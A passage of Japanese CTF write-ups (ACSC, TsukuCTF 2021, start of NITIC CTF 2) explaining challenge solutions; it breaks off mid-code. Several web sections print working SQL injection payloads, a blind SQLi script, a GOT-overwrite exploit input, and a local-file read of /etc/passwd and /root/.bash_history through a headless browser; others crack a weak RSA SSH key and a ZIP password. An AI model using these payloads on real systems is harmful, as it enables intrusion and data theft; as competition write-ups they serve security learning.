身長と体重を記録したCSVファイルを投げてやると、いい感じにヒストグラムとして表示してくれる便利なアプリケーション。CSVの読み込み部分のコードは次のようになっている。weight < 1.0 || weight >= WEIGHT_MAX というチェックによって範囲外アクセスはできないようになっている。

本当だろうか。よく見ると身長と体重は fscanf(fp, "%lf,%lf", &weight, &height)double として読み込まれている。もし nan を読み込ませれば、weight < 1.0weight >= WEIGHT_MAX も偽になる。その後の (short)ceil(weight / WEIGHT_STRIDE) - 1i-1 が入り、map[i][j]++ で範囲外アクセスができてしまう。

#define WEIGHT_MAX 600 // kg
#define HEIGHT_MAX 300 // cm
#define WEIGHT_STRIDE 10
#define HEIGHT_STRIDE 10
#define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE)
#define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE)

int map[WSIZE][HSIZE] = {0};
int wsum[WSIZE] = {0};
int hsum[HSIZE] = {0};

// …

int read_data(FILE *fp) {
  /* Read data */
  double weight, height;
  int n = fscanf(fp, "%lf,%lf", &weight, &height);
  if (n == -1)
    return 1; /* End of data */
  else if (n != 2)
    fatal("Invalid input");

  /* Validate input */
  if (weight < 1.0 || weight >= WEIGHT_MAX)
    fatal("Invalid weight");
  if (height < 1.0 || height >= HEIGHT_MAX)
    fatal("Invalid height");

  /* Store to map */
  short i, j;
  i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
  j = (short)ceil(height / HEIGHT_STRIDE) - 1;
  
  map[i][j]++;
  wsum[i]++;
  hsum[j]++;

  return 0;
}

IDA Freewareで map の周囲を見てみると、ちょうど .got.plt が直前に配置されている。適当に書き換えてしまおう。今回は事前に用意された以下の win という関数に飛ばせばよい。

void win(void) {
  char flag[0x100];
  FILE *fp = fopen("flag.txt", "r");
  int n = fread(flag, 1, sizeof(flag), fp);
  printf("%s", flag);
  exit(0);
}

fclosewin に書き換えるようなCSVを作り、ヒストグラムに変換するとフラグが得られた。

$ python3 -c "print('nan,30\n' * 520)" > b.csv; ./histogram.bin b.csv 
$ curl -k -i https://histogram.chal.acsc.asia/api/histogram -F csv=@b.csv
...
ACSC{NaN_demo_iiyo}

[Forensics 140] NYONG Coin (26 solves)

E01という拡張子を持つファイルが与えられる。仮想通貨のトランザクションが記録されたファイルがたくさん含まれているのだけれども、どうやらその中のひとつは改ざんされているらしい。改ざんされた箇所を答えろという問題。

FTK Imagerで開いてみると、たしかに.xlsxファイルがたくさんある。ただ、レコードが多すぎてどれが不審なトランザクションなのか全くわからない。諦めてunallocated spaceを眺めていると、PK とか [Content_Types].xml といった文字列が目に入った。ほかにも.xlsxファイルがあるようなので切り出す。別のよく似た.xlsxとともにCSVに変換した上でdiffを取ってみると、ひとつのトランザクションだけ改ざんされていることが確認できた。

ACSC{8d77a554-dc64-478c-b093-da4493a8534d}

[Crypto 100] RSA stream (121 solves)

以下のような chal.py というPythonスクリプトと、n などのパラメータが書かれた output.txt、暗号化されたファイルである chal.enc が与えられる。c = stream ^ q という部分を見ると、暗号化されたファイルと chal.py をXORすれば pow(m, 0x10001, n)pow(m, 0x10003, n) が得られることがわかる。

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad

from flag import m
#m = b"ACSC{<REDACTED>}" # flag!

f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)

n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)

assert m < n
stream = pow(m,e,n)
cipher = b""

for a in range(0,len(f),256):
  q = f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  c = stream ^ q
  cipher += long_to_bytes(c,256)
  e = gmpy2.next_prime(e)
  stream = pow(m,e,n)

open("chal.enc","wb").write(cipher)
ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}

TsukuCTF 2021 writeup

9/11 - 9/12という日程で開催された。ひとりチーム( 'ᾥ' )の🐜として参加して、全完し1位だった。同じくひとりチームの_(:3」∠)_として出たOpen xINT CTF 2020に引き続き、OSINTがメインの大会で優勝できて嬉しい。


Tsukushi

[Tsukushi 100] Welcome (154 solves)

問題文にあるとおり、公式Twitterアカウントの名前を見るだけ。

TsukuCTF{2021}

Rev

[Rev 484] Legacy code (7 solves)

i286のアセンブリが与えられる。読んでいくと、まず最初に変数の初期化をしているらしき箇所がある。

main:
    enterw   $24-2,    $0
    movw $9,    -2(%bp)
    movw $0,    -6(%bp)
    movw $0,    -4(%bp)
    movw $0x28A4, -10(%bp)
    movw $0x4448, -8(%bp)
    movw $0xE148, -14(%bp)
    movw $0x3EBA, -12(%bp)

続いて浮動小数点数の演算。-10(%bp)-14(%bp) を読み込んで加算し、-6(%bp) に格納している。

 .arch pentium
    finit
    fld  -10(%bp)
    fld  -14(%bp)
    faddp    %st(0), %st(1)
    fstp -6(%bp)
    fwait
    .arch i286

演算の結果を printf で出力している。

 movw -6(%bp),    %ax
    movw -4(%bp),    %dx
    leaw -22(%bp),   %cx
    pushw    %dx
    pushw    %ax
    pushw    %cx
    pushw    %ss
    popw %ds
    call __extendsfdf2
    addw $6,    %sp
    movw -22(%bp),   %cx
    movw -20(%bp),   %ax
    movw -18(%bp),   %dx
    movw -16(%bp),   %bx
    pushw    %bx
    pushw    %dx
    pushw    %ax
    pushw    %cx
    pushw    -2(%bp)
    pushw    $.LC0
    pushw    %ss
    popw %ds
    call printf

Cで同じようなことをするコードを書き、実行するとフラグが得られる。

#include <stdio.h>
int main(void) {
  char s[100] = {
    0x48, 0xe1, 0xba, 0x3e,
    0xa4, 0x28, 0x48, 0x44,
    0x00, 0x00, 0x00, 0x00,
    0x09, 0x00
  };
  float x = *(float *)(s) + *(float *)(s + 4);
  printf("PC%d%.0f\n", *(int *)(s + 12), x);
  return 0;
}
$ gcc -o a a.c && ./a
PC9801
TsukuCTF{PC9801}

Network

[Network 464] genesis (10 solves)

ぶろっくちぇーんえくすぷろーらーなるよくわからんWebアプリケーションのURLを渡される。APIの使い方が書かれているページを眺めていると、"メッセージはトランザクション(tx)に埋め込まれています" というヒントで言及されているトランザクションを取得できるらしいAPIがあることがわかった。

f:id:st98:20210912055058p:plain

とりあえず前者の /api/getrawtransaction?txid=f44d8ca0b6e787c2193297aec523d685bc0ab5a38eca5a0b014c5a679507b13e&decrypt=0 にアクセスしてみると、以下のようなデータが返ってきた。

01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff2804ffff001d0104205473756b754354467b323032315f30395f31315f47454e455349535f544b437dffffffff0100f2052a01000000434104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000

5473756b754354467b323032315f30395f31315f47454e455349535f544b437d がめっちゃASCIIの文字列っぽいのでデコードしてみるとフラグが得られた。

TsukuCTF{2021_09_11_GENESIS_TKC}

Crypto

[Crypto 436] CrackSSH! (13 solves)

ssh-rsa AAAA… というような形式の公開鍵が渡される。 適当にググるこれがどのような構造を持っているか紹介している記事が見つかるので、それを参考にしつつ ne を取り出す。

n = 0x201f98fba8e6f71bcd89b9d92c8a00bc856fd467e56e34390282a9e76c8fabede746bd4dd5a6a55e11d5d695dcc1ad72adaf35f83143b2ee1b7693c2edfdb9a4bae205929a48d4fb2b4fac45074fe748816988ec1760b283c1e3a1e19a5d5921ddb3b0d95d96c14b14e2a12bf538cf6ccceb082c6414340f9f03b09a259033c19

e = 0x16280d61623baf8718b00862ac1be9db2e3fe2632ea947092491aeb827a2fe54b3e9e0adc95524441339b3b405b18e48463a57a8977bf30d1a91d89fb89d254e23d1612728817528040a65c96288c6552539e9b08c75ccac124298573e5ed3ec50023643ae8b699be153d1501dc1d5ae64cebccd963c0c4f47daea3d75a1c27ff

e がやたらデカいのでWiener's Attackっぽいorisano/owienerで殴るとd23740595481413555083001316385586537295798010164154043863363374388086679976575 とわかる。ius/rsatoolでPEM形式の秘密鍵を作ってSSHサーバに接続するとフラグが得られた。

$ ssh tsukushi@… -p 30022 -i private.pem 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-34-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Sep 11 06:22:16 2021 from …
$ ls
flag.txt
$ cat flag.txt
TsukuCTF{D0nt_use_w34k_RS4_key_generat10n}

Misc

[Misc 100] TORItsukushi (90 solves)

たぬき。TSUKUSHI が含まれている限り削除し続けるスクリプトを書く。

with open('many_tsukushi.txt', 'r') as f:
  s = f.read()

while 'TSUKUSHI' in s:
  s = s.replace('TSUKUSHI', '')

print(s)
TsukuCTF{Would_you_like_some_fresh-baked_Tsukushi?}

[Misc 100] Customization (98 solves)

GoogleスプレッドシートのURLが与えられる。真ん中の何も書かれていないように見えるセルにフラグが書かれていた。

f:id:st98:20210912060353p:plain

TsukuCTF{yak1n1ku_ta6eta1}

[Misc 244] discriminate (25 solves)

GPT-2から文章を生成したので、与えられた文章のうちどこからどこまでが元の文章か特定してくれという問題。与えられた文章の一部の「握るだけで解錠できるスマートドアハンドルを開発した」でググると、元の文章が含まれているポスターがヒットする。与えられた文章と元の文章を比較すればよい。

TsukuCTF{パターンを}

Hardware

[Hardware 100] CAD (82 solves)

STLファイルが与えられる。"STL viewer online" みたいな感じでググって出てきたビュアーに投げると読める。

f:id:st98:20210912060822p:plain

TsukuCTF{ILIK3B3ar}

[Hardware 100] Ltika (49 solves)

ino という拡張子のファイルが与えられる。内容はこんな感じ:

void setup() {
  // initialize digital pin LED_BUILTIN as an output.
  pinMode(LED_BUILTIN, OUTPUT);
}

void blinking(){
  digitalWrite(LED_BUILTIN, HIGH);   
  delay(500);
  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
  delay(300);                       // wait for a second  
}
void lit(){
  digitalWrite(LED_BUILTIN, HIGH);   // turn the LED on (HIGH is the voltage level)
  delay(2000);                       // wait for a second
  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
  delay(300);                       // wait for a second  
}

void wait(){
  digitalWrite(LED_BUILTIN, LOW);
  delay(1200); 
}
// the loop function runs over and over again forever
void loop() {
  blinking();
  wait();

  lit();
  blinking();
  wait();
  
  blinking();
  lit();
  lit();
  lit();
  wait();

//…

  delay(3000);
}

どう見てもモールス信号。適当に普通のモールス信号に変換するスクリプトを書く。

s = '''  blinking();
  wait();

  lit();
  wait();'''

s = s.replace('\n', '').replace(' ', '').split(';')
print(''.join({
  'blinking()': '.',
  'lit()': '-',
  'wait()': ' ',
  '': ''
}[c] for c in s))

デコードするとフラグが得られた。

TsukuCTF{ENJ0YHARDWARE!}

[Hardware 152] PCB (29 solves)

gtlgm1gbl といった拡張子のファイルが含まれるZIPファイルが与えられる。ZIPファイルの名前には GerBer が含まれている。"Gerber viewer online" でググって出てきたビュアーに投げると読める。

f:id:st98:20210912061116p:plain

これははくちょう座。英語名にするとフラグが得られた。

TsukuCTF{CYGNUS}

Web

[Web 100] digits (63 solves)

以下のようなコードが与えられている。

@app.get("/")
def main(q: Optional[str] = None):
    if q == None:
        return {
            "msg": "please input param 'q' (0000000000~9999999999).  example: /?q=1234567890"
        }
    if len(q) != 10:
        return {"msg": "invalid query"}
    if "-" in q or "+" in q:
        return {"msg": "invalid query"}
    try:
        if not type(int(q)) is int:
            return {"msg": "invalid query"}
    except:
        return {"msg": "invalid query"}

    you_are_lucky = 0

    for _ in range(100):
        idx = random.randrange(4)
        if q[idx] < "0":
            you_are_lucky += 1
        if q[idx] > "9":
            you_are_lucky += 1

    if you_are_lucky > 0:
        return {"flag": FLAG}
    else:
        return {"msg": "Sorry... You're unlucky."}

type(int(q)) はスペースで埋めることで回避できる。/digits?q=%20%20%20%20%20%20%20%20%201 でフラグが得られた。

TsukuCTF{you_are_lucky_Tsukushi}

[Web 100] Login (79 solves)

ログインフォームが与えられる。ログインといえばSQLiなので、パスワードに ' or 1;# を入力してみるとフラグが得られた。

TsukuCTF{You_4r3_SUP3R_H4CKER}

[Web 323] Login 2 (21 solves)

ログインフォームが与えられる。Loginに修正が入り、ただログインするだけではフラグが得られなくなった。ただ、ログインしたユーザ名は表示してくれるので、UNION 句で別のテーブルのデータを引っ張ってこれる。' union select @@version, 2;#8.0.26 としてログインできた。8.0.26ググるMySQLのバージョンであることがわかる。

MySQLでは information_schema.tables というテーブルからテーブルに関するデータが取得できる。' union select table_name, 2 from information_schema.tables;#super_secret_tableuser_table というテーブルがあることがわかった。

続いて information_schema.columns というテーブルを使って、' union select column_name, 2 from information_schema.columns where table_name='super_secret_table';#super_secret_table テーブルには idsecret というカラムがあることがわかった。あとは super_secret_table からデータを取り出すだけ。' union select secret, 2 from super_secret_table;# でフラグが得られた。

TsukuCTF{50_muCh_GR3AT_Hacker_!ND3ED}

[Web 472] Login 3 (9 solves)

ログインフォームが与えられる。Login 2に修正が入り、今度はログインの成否だけしか情報が与えられなくなった。ただ、この「ログインの成否」から1ビットずつ情報を得るBlind SQLiはまだ有効だ。Pythonスクリプトを書く。

import requests

def query(q):
  r = requests.post('https://tsukuctf.sechack365.com/problems/login3/login.php', data={
    'username': 'hoge',
    'password': q
  })
  return 'ようこそ' in r.text

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    if query(f"' or ord(substr(version(), {i}, 1)) & {1 << j};#"):
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1

あとはLogin 2と同じ手順でテーブル名とカラム名を抜き出し、得られた秘密のテーブルからフラグが得られた。

TsukuCTF{U_Are_Geni0us_T$UKUSH1}

[Web 100] logonly (31 solves)

アクセスログが与えられている、が214153行の XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 - というログの後に XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:01] "POST / HTTP/1.1" 200 - とログインに成功したであろうログがある以外には情報はない。

問題文によれば「Kali Linuxの中のツールとファイルを使ったらrootで簡単にログインできた」らしい。インストールされている辞書で辞書攻撃でもしたのだろうか。rockyou.txt の214154行目は qwertyuiop[]\\ だ。これを提出すると正解だった。

TsukuCTF{qwertyuiop[]\\}

[Web 372] Journey (18 solves)

与えられたURLにアクセスすると、複数回のリダイレクトの後に /problems/journey/goal に飛ばされたが、"Did you check your status?" と怒られてしまった。"status" とはHTTPステータスコードのことだろうか。見てみると、"405 Method Not Allowed" が返ってきていた。

GET以外のメソッドならどうだろう。OPTIONS を試してみると、以下の9種類のメソッドを受け付けているらしいとわかった。

$ curl -i https://tsukuctf.sechack365.com/problems/journey/goal -X OPTIONS
HTTP/1.1 204 No Content
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:19:50 GMT
Connection: keep-alive
Allow: OPTIONS, GET, HEAD, POST, PUT, DELETE, CONNECT, TRACE, PATCH

片っ端から試していると、CONNECT のときに以下のようなメッセージが表示された。リファラがダメらしい。

$ curl -i https://tsukuctf.sechack365.com/problems/journey/goal -X CONNECT
HTTP/1.1 405 Method Not Allowed
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:20:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 154
Connection: keep-alive

<head><meta http-equiv='refresh' content=' 5; url=/'></head><body><h1>Where are you from?</h1><p>I think you have come from fraudulent referer.</p></body>

リファラにそれっぽいURLを入れてやるとフラグが得られた。

$ curl -i https://tsukuctf.sechack365.com/problems/journey/goal -X CONNECT -H "Referer: https://tsukuctf.sechack365.com/problems/journey/railway/1"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:21:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 40
Connection: keep-alive

<h1>TsukuCTF{H0w_wa5_y0ur_j0urney?}</h1>
TsukuCTF{H0w_wa5_y0ur_j0urney?}

[Web 495] gyOTAKU (4 solves)

以下のようなソースコードが与えられた。URLを与えると requests によってそのコンテンツが取得され、(ランダムに生成された文字列).html というファイルにそれを保存した上でChromiumで開き、スクリーンショットを保存する。二度手間ではないか。

import io
import os
import random
import string
import requests
import subprocess
from flask import Flask, render_template, request, send_file

app = Flask(__name__)

def sanitize(text):
    #RCE is a non-assumed solution. <- This is not a hint.
    url = ""
    for i in text:
        if i in string.digits + string.ascii_lowercase + string.ascii_uppercase + "./_:":
            url += i
    if (url[0:7]!="http://") and (url[0:8]!="https://"):
        url = "https://www.google.com"
    return url

@app.route("/")
def gyotaku():
    filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(15)])
    url = request.args.get("url")
    if not url:
        return "<font size=6>🐟gyOTAKU🐟</font><br><br>You can get gyotaku: <strong>?url={URL}</strong><br>Sorry, we do not yet support other files in the acquired site."
    url = sanitize(url)
    html = open(f"{filename}.html", "w")
    try:
        html.write(requests.get(url, timeout=1).text + "<br><font size=7>gyotakued by gyOTAKU</font>")
    except:
        html.write("Requests error<br><font size=7>gyotakued by gyOTAKU</font>")
    html.close()
    cmd = f"chromium-browser --no-sandbox --headless --disable-gpu --screenshot='./gyotaku-{filename}.png' --window-size=1280,1080 '{filename}.html'"
    subprocess.run(cmd, shell=True, timeout=1)
    os.remove(f"{filename}.html")
    png = open(f"gyotaku-{filename}.png", "rb")
    screenshot = io.BytesIO(png.read())
    png.close()
    os.remove(f"gyotaku-{filename}.png")
    return send_file(screenshot, mimetype='image/png')

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=9000)

問題文によれば、このスクリプトを実行しているユーザは root であり、またフラグはローカルに存在しているらしい。フラグのファイル名は乱数を生成して決めたそうだから、まずはその名前を特定する必要がある。

location.href = "file:///" のようなJavaScriptコードを実行させて file:/// などにリダイレクトさせればファイルの一覧が得られるのではないかとまず考えたが、なぜかChromiumは真っ白なページを返してしまう。では特定のファイルならばどうかと location.href = "/etc/passwd" を試したところ、その内容が表示された。

他に見るべきファイルがあるか悩んでいたが、もしかしたら root のホームディレクトリに何かあるかもしれないと思いついた。試しに /root/.bash_history を読んでみるとビンゴ、フラグのファイル名がわかった。

f:id:st98:20210912064057p:plain

これを読むとフラグが得られた。

f:id:st98:20210912064101p:plain

TsukuCTF{Tsukushi_to_Sugina_no_chigai_ga_wakaran}

OSINT

[OSINT 100] ramen (93 solves)

ラーメンの画像が与えられるので、そのラーメン店の本店のInstagramのIDを特定する問題。Yandexで画像検索すると銀座篝がヒットした。

TsukuCTF{kagari_honten}

[OSINT 100] shop (83 solves)

イオンモールを外から撮影したと思われる動画が与えられる。トヨタカローラの店舗があること、また湖もしくは海の近くに立地していることがわかる。"イオンモール トヨタカローラ" でググってみるとイオンモール幕張新都心イオンモール草津店、イオンモール大和などの店舗がヒットした。動画と外観や立地が一致しているのはイオンモール草津店だ。

TsukuCTF{イオンモール草津}

[OSINT 100] train (84 solves)

駅構内の写真が与えられる。5番線が山手線、6番線が京浜東北線という情報がまず目に入る。問題文からリンクされている東京近郊路線図を見ると山手線と京浜東北線が並走している区間は田端~品川であるとわかる。この間の駅で5番線が山手線、6番線が京浜東北線であるのは新橋駅だ。

TsukuCTF{Shimbashi}

[OSINT 100] YUGEN (47 solves)

SLが走る様子を撮影した動画が与えられるので、撮影された駅を答えよという問題。SLの側面に「SL人吉」と書かれており、これで路線がある程度絞れる。前面に「無限」と書かれたプレートが付けられているが、これは「SL無限列車」だろう。SLはしばらく高架下を走っているが、後にSLが走る線路と高架は分かれていく。さらに、動画ファイルには2020年11月3日13時44分に撮影されたという情報が残っている:

f:id:st98:20210912070638p:plain

動画が撮影された時間帯にこのSLがどこを走っていたか特定していく。まずJR九州リリースを確認すると、この日の運行区間は熊本→博多であることがわかる。熊本発8:35~博多着13:04らしく、撮影地は博多駅からそう離れてはいないだろうとわかる。Twitterでもなにか情報が得られないか "until:2020-11-03_14:00:00_JST SL lang:ja" で探すと、まさに目撃された駅と時刻が書かれたツイートが見つかった。竹下駅をGoogleマップで確認してみると、たしかに線路が高架下を通り、後に高架と分かれていく。また、動画で正面に見えていた特徴的な黄色の建物も見える。ここだ。

TsukuCTF{Takeshita}

[OSINT 100] Beach (80 solves)

おそらく海岸で撮影された2枚の写真から最寄り駅を特定しろという問題。Bingで画像検索すると大変よく似た構図の写真を含むページが出てきた。「オフィスの目の前には海が広がる」というキャプションが付いており、またそのオフィスの住所も書かれている。その最寄り駅は茅ヶ崎駅だ。

TsukuCTF{Chigasaki}

[OSINT 100] tram (43 solves)

海外で撮影された写真の撮影地を答えろという問題。写真と問題名からまずトラムの駅だとわかる。写真の左側に「ČSOB」と書かれているが、これでググるチェコスロバキア貿易銀行の建物だとわかる。チェコもしくはスロバキアのトラムだろうか。

Wikipediaチェコスロバキアにあった、または現在チェコかスロバキアにある路面電車の一覧がある。まあ、プラハブラチスラヴァだろう。トラムの前面には「5」と表示されている。Wikipediaによれば、ブラチスラヴァ市電には5番系統がないがプラハ市電にはあるらしい。プラハ市電の5番系統を総当たりしていこう。WikiRoutesなるサイトNAVITIME Transitでトラムの駅を参照しつつ、Googleマップで「ČSOB」と調べて駅の近くにあるものがないか探していく。「Anděl」という駅がピッタリだった。

TsukuCTF{Anděl}

[OSINT 100] Tsukushi_no_email1 (44 solves)

TsukuCTFのメールアドレスのアイコンにフラグがあるので、それを見つけろという問題。ルールページtsukuctf@gmail.comGmailのメールアドレスが書かれている。Gmailのメールボックスでそのメールアドレスを検索するとアイコンが出てきた

TsukuCTF{Google_kingdom}

[OSINT 100] Tsukushi_no_email2 (40 solves)

Tsukushi_no_email1で得られたメールアドレスをヒントに予定表を手に入れろという問題。Gmailを使っているということは、おそらくその予定表というのはGoogleカレンダーのことを指しているのだろう。カレンダーの埋め込み用のURLをいじって、https://calendar.google.com/calendar/embed?height=600&wkst=1&bgcolor=%23FFFFFF&color=%232952A3&color=%23711616&src=tsukuctf@gmail.com&color=%231B887A&ctz=Asia/Tokyo で予定表が見られた。9/11の12:00の予定にフラグが書かれていた。

TsukuCTF{Horsetail_is_delicious}

[OSINT 100] cafe (37 solves)

@7aru7aruさんという方がハマっているメイドカフェを特定する問題。まず "from:7aru7aru メイド" で検索してみるも、特定のメイドカフェに関する言及は見つからない。なにか有益な画像はないかメディア欄を開いてみるが、YouTubeの動画へのリンクばかりで肝心の画像が埋もれてしまっている。"from:7aru7aru filter:images" で画像に絞ってツイートを眺めていくと、大変それっぽい画像が見つかった。

メイドさんのポケットには「No.1メイドカフェグループ」と書かれており、これをググるめいどりーみんというメイドカフェがヒットする。全国展開しているメイドカフェなので、先ほどの写真がどの店舗で撮影されたか特定しなければならない。店舗情報を見ていくと、幸いなことに店舗ごとに内装が大きく異なっていることがわかる。秋葉原 中央通り店の内装がまさにそれだった。

TsukuCTF{https://maidreamin.com/shop/detail.html?id=5}

[OSINT 100] train2 (60 solves)

駅のプラットフォームで撮られた写真から撮影地を特定しろという問題。画像中央やや右にある柱をよく見ると「出町柳9号」と書かれている。「出町柳9号」でググるとこれは叡山電車出町柳元田中間(というか元田中駅)にある踏切を指すとわかる。

TsukuCTF{元田中}

[OSINT 100] fishing (77 solves)

写真の撮影地を特定しろという問題。目の前に特徴的な橋が写っており、Bingで検索すると東京ゲートブリッジとわかる。"東京ゲートブリッジ 釣り場" で検索すると若洲海浜公園とわかる。

TsukuCTF{若洲海浜公園}

[OSINT 100] dam (55 solves)

貯水湖で撮られた写真から撮影地を特定しろという問題。よく見ると画像中央やや右に特徴的な橋が見える。

f:id:st98:20210912073518p:plain

"貯水湖 橋" で画像検索すると南河内橋がヒットした。この橋が架かっているのは河内貯水池だ。

TsukuCTF{河内貯水池}

[OSINT 285] park (23 solves)

写真の撮影地を特定しろという問題。かなりの都会っぽい。特徴的な建物がないか探していく。まず画像の右側に、かなり小さいがスーパーマーケットのロゴらしきものが見える。拡大してBingで検索すると「サンリブ」という名前でよく似たロゴを持ったスーパーマーケットの写真がヒットした。ググると、どうやら「マルショク」というスーパーマーケットもよく似たロゴらしい。どちらもサンリブグループのスーパーマーケットで、店舗情報を見ると広島、山口、福岡、佐賀、大分、熊本、宮崎に展開していることがわかる。

f:id:st98:20210912074046p:plain

写真の左側にはなにやら明るく光っているものが見える。スタジアムや球場だろうか。

f:id:st98:20210912074316p:plain

スタジアムらしきもののさらに左には新幹線が見える。新幹線の沿線となるとかなり絞り込めるはずだ。

f:id:st98:20210912074435p:plain

サンリブグループのスーパーマーケットのやや左奥をよく見ると、ゴルフの打ちっ放しの練習場らしきものの後ろ側に、山の中にあるらしい白い何かと斜面が見える。雑に「(県名) 山 白い」にサンリブグループの展開する県名を入れてググっていくと、どうやらこれは広島の二葉山にある平和塔(仏舎利塔)らしいとわかる。

f:id:st98:20210912074533p:plain

写真の撮影地が広島であることがわかったので、Googleマップを使って特徴的な建造物の名前を特定していく。画像中央の特徴的な高層ビルは左からシティタワー広島、グランクロスタワー広島だろう。さっきのスタジアムはマツダスタジアムだ。

f:id:st98:20210912075137p:plain

手前に見える学校らしきものは府中町立府中中学校だろう。

f:id:st98:20210912075443p:plain

最後に、ここまで特定した建物が写真のように写る場所を探す。一番手前に見える以下の特徴的な建物を目印に探すと、撮影地は瀬戸ハイム第一児童遊園地だとわかった。

f:id:st98:20210912075515p:plain

TsukuCTF{瀬戸ハイム第一児童遊園地}

[OSINT 323] OBOG (21 solves)

SecHack365非公式サイトが改ざんされたので、その改ざんされた内容を探せという問題。"SecHack365非公式サイト" で検索するとそれっぽいWebサイトがヒットする。DevToolsを開きつつコンテンツを片っ端から見ていると、/timer/ でコンソールに Please decode! → VHN1a3VDVEZ7aHR0cHM6Ly9zZWNoYWNrMzY1Lm5pY3QuZ28uanB9 と出力された。これをBase64デコードするとフラグが得られた。

TsukuCTF{https://sechack365.nict.go.jp}

[OSINT 340] InterPlanetary Protocol (20 solves)

問題文によると、以下の3つの文字列はすべて「特殊なウェブサイトのURL」らしい。59文字だからTorのV3アドレスにしては3文字多いしなんだろう、と思っていたところで問題名に「InterPlanetary」が含まれていることに気づく。InterPlanetary File System(IPFS)だ。

  • bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu
  • bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga
  • bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm

docker run --rm -d ipfs/go-ipfs して docker exec -it … sh でこれらのファイルを表示する。

/ # ipfs cat bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu
TsukuCTF{IPFS_
/ # ipfs cat bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga
_is_the_
/ # ipfs cat bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm
future}

フラグが得られた。

TsukuCTF{IPFS_is_the_future}

[OSINT 372] WildTsukushis (18 solves)

黄色い恐竜とつくしの生えた山の遊具が写った写真が与えられるので、撮影地を答えろという問題。GoogleやBingでそのまま画像検索するも見つからない。Googleレンズでつくしの遊具を切り取って検索するとそれっぽい写真を含んだ記事が見つかる。

TsukuCTF{御浜海水浴場}

[OSINT 372] uiui (18 solves)

パスワード付きZIPが与えられる。このZIPは「一般に決められた方法で検体を送ってもら」ったということだが、PPAPのことだろう。John the Ripperでクラックできた。

$ zip2john Virus.zip > Virus.john
ver 2.0 efh 5455 efh 7875 Virus.zip/Virus PKZIP Encr: 2b chk, TS_chk, cmplen=2511, decmplen=16696, crc=ED9F71AA
$ john Virus.john --wordlist=/usr/share/dict/words
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Warning: OpenMP is disabled; a non-OpenMP build may be faster
Press 'q' or Ctrl-C to abort, almost any other key for status
infected         (Virus.zip/Virus)
1g 0:00:00:00 DONE (2021-09-11 09:42) 50.00g/s 2825Kp/s 2825Kc/s 2825KC/s infarction..infields
Use the "--show" option to display all of the cracked passwords reliably
Session completed

展開されたファイルはただのELFだが、これはどういうことだろうか。問題文には「解析にあたってマズイことをしてしまいました」「彼は感染したことをほかの人に知られたくないようです」とある。何も考えずにVirusTotalなどに投げてしまったということだろうか。

VirusTotalでこのELFのハッシュ値を検索するとヒットした。ファイル名にフラグが書かれている。

TsukuCTF{Careless_uploading_is_dangerous}

[OSINT 464] udon (10 solves)

カレーうどんの写真が与えられるので、撮影された店舗を答える問題。Googleレンズで検索すると「えん家」が見つかる。

TsukuCTF{@sanukiudonenya}

NITIC CTF 2 writeup

9/5 - 9/6という日程で開催された。zer0ptsで参加して1位。


[Web 300] password (46 solves)

以下のようなコードが与えられた。ランダムに生成されたパスワードを /flag に与えるとフラグが得られるらしい。0oO のような紛らわしい文字は打ち間違えても大丈夫らしい。

from flask import Flask, request, make_response
import string
import secrets

password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)])

print("[INFO] password: " + password)

with open("flag.txt") as f:
    flag = f.read()


def fuzzy_equal(input_pass, password):
    if len(input_pass) != len(password):
        return False

    for i in range(len(input_pass)):
        if input_pass[i] in "0oO":
            c = "0oO"
        elif input_pass[i] in "l1I":
            c = "l1I"
        else:
            c = input_pass[i]
        if all([ci != password[i] for ci in c]):
            return False
    return True

app = Flask(__name__)

@app.route("/")
def home():
    html = """
  <!DOCTYPE html>
  <html lang="en">
  <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>test page</title>
  </head>
  <body>
